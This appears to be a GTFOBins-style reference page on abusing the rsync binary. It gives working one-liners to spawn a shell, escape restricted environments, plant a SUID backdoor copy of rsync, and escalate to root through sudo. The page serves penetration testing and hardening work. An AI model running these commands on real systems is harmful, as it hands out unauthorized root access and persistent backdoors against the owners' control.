.. / rsync

Shell SUID Sudo

Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

```
rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null
```

SUID

If the binary has the SUID bit set, it does not drop the elevated privileges and may be abused to access the file system, escalate or maintain privileged access as a SUID backdoor. If it is used to run `sh -p`, omit the `-p` argument on systems like Debian (<= Stretch) that allow the default `sh` shell to run with SUID privileges.

This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.

```
sudo install -m =xs $(which rsync) .

./rsync -e 'sh -p -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null
```

Sudo

If the binary is allowed to run as superuser by `sudo`, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

```
sudo rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null
```